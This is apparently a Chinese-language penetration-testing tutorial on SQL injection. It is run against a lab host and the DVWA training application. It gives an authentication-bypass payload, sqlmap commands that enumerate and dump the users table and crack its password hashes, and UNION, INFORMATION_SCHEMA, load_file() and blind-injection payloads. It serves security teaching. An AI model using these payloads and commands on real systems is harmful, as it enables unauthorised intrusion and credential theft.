Metasploit 渗透测试 - SQL注入
SQL注入简介
SQL注入(SQL Injection)是一种常见的网络攻击方式,攻击者可利用未审查的数据输入通道在输入字段中插入恶意的SQL代码。
老实说,SQL注入的鼎鼎大名已经使它自己销声匿迹了,很难在真实网络中成功攻击(除了“AI一键生成”和大学生的课设,大多数后者可视作前者)。
Metasploit中集成了sqlmap工具,可通过以下方式使用:
use auxiliary/scanner/http/sqlmap
以下使用原生sqlmap工具进行测试,原理相同。
SQL注入实践
步骤一:发现SQL注入漏洞
打开目标web网站 10.10.10.129 进行登录。在用户名中输入 admin',返回了一个错误提示,说明输入未经审查,存在SQL注入漏洞。
步骤二:绕过身份验证
可猜想输入的SQL语句可能是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password';
通过在用户名中输入 admin' OR '1'='1,SQL语句变为:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'password';
由于'1'='1'始终为真,攻击者可以绕过身份验证,成功登录系统。
步骤三:进入DVWA靶场
登录后看到内部有一个著名的DVWA(Damn Vulnerable Web Application)靶场,这是一个专门设计来练习和测试各种网络安全漏洞的靶场,包含了多个级别的SQL注入漏洞。
在设置中将安全级别设置为low,点击SQL Injection进行SQL注入测试。
步骤四:获取Cookie
在输入框中随便输入一个 aa,点击Submit,可看到URL中出现了 id=aa,复制url。
在现代浏览器中可以打开开发者工具(在Kali的Firefox中快捷键是Ctrl+Shift+C),点击Network(网络)标签页,开启记录,再次提交。可看到请求中包含了cookie信息,复制cookie值。
步骤五:使用sqlmap检测SQL注入
在终端中使用sqlmap工具进行测试,输入以下命令:
sqlmap -u "your url" --cookie="your_cookie_value"
一路都选Yes,sqlmap会自动检测可利用的SQL注入漏洞。
步骤六:列出数据库
加入 --dbs 参数,sqlmap会列出所有数据库名称:
sqlmap -u "your url" --cookie="your_cookie_value" --dbs
步骤七:列出表名称
加入 -D <database_name> --tables 参数,sqlmap会列出指定数据库中的所有表名称:
sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa --tables
步骤八:列出列名称
加入 -D <database_name> -T <table_name> --columns 参数,sqlmap会列出指定数据库中指定表的所有列名称:
sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa -T users --columns
步骤九:导出数据库数据
加入 -D <database_name> -T <table_name> --columns --dump 参数,sqlmap会导出指定数据库中指定表的所有列的数据:
sqlmap -u "your url" --cookie="your_cookie_value" -D dvwa -T users --columns --dump
过程中sqlmap读取到MD5加密的密码,询问你是否暴力破解,选Yes,sqlmap会自动使用内置的字典进行破解。最终我们获取了数据库中的用户名和密码。
至此为止,使用sqlmap成功完成了小白级别的SQL注入测试,获取了数据库中的敏感信息(用户名和密码)。
SQL注入原理
注释
MySQL单行注释为 '--' 或 '#' 加空格,其后内容被视为注释,由此可以绕过原语句后的逻辑。
UNION注入
以下列SQL语句为例,id为注入点:
SELECT first_name,last_name FROM users where id = '1'
输入 ' union select 1,2 -- ',原语句变为:
SELECT first_name,last_name FROM users where id = '' union select 1,2 -- ''
查询结果为first_name=1,last_name=2,由此知道查询语句列数为2。
通过INFORMATION_SCHEMA获取数据库信息
通过从系统数据库INFORMATION_SCHEMA查询,可获取数据库信息:
- 从
INFORMATION_SCHEMA.tables获取table_name列,获取数据库中的所有表名 - 从
INFORMATION_SCHEMA.columns获取column_name列,使用where语句约束table_name = <表名>获取指定表中的所有列名 - 从相应表的相应列获取具体的值,如
'UNION SELECT user, password from users -- ' - 使用
concat(string,string,……)函数一次获取多列 - 使用
group_concat函数对多行查询结果拼接
系统函数
使用系统函数可获取额外信息:
version()- 数据库版本database()- 数据库名称user()- 用户名load_file()- 读取主机上的文件
盲注
盲注是在目标网页没有错误提示的情况下进行的SQL注入攻击:
- 通过
length(database()) > ?条件,根据是否报错可判断数据库名称长度 - 通过
ascii(substring(database(),1,1)) > ?条件,根据是否报错可逐个判断数据库名称 - 通过
(SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.tables WHERE table_schema=database()) > ?条件,根据是否报错可判断数据库中表的个数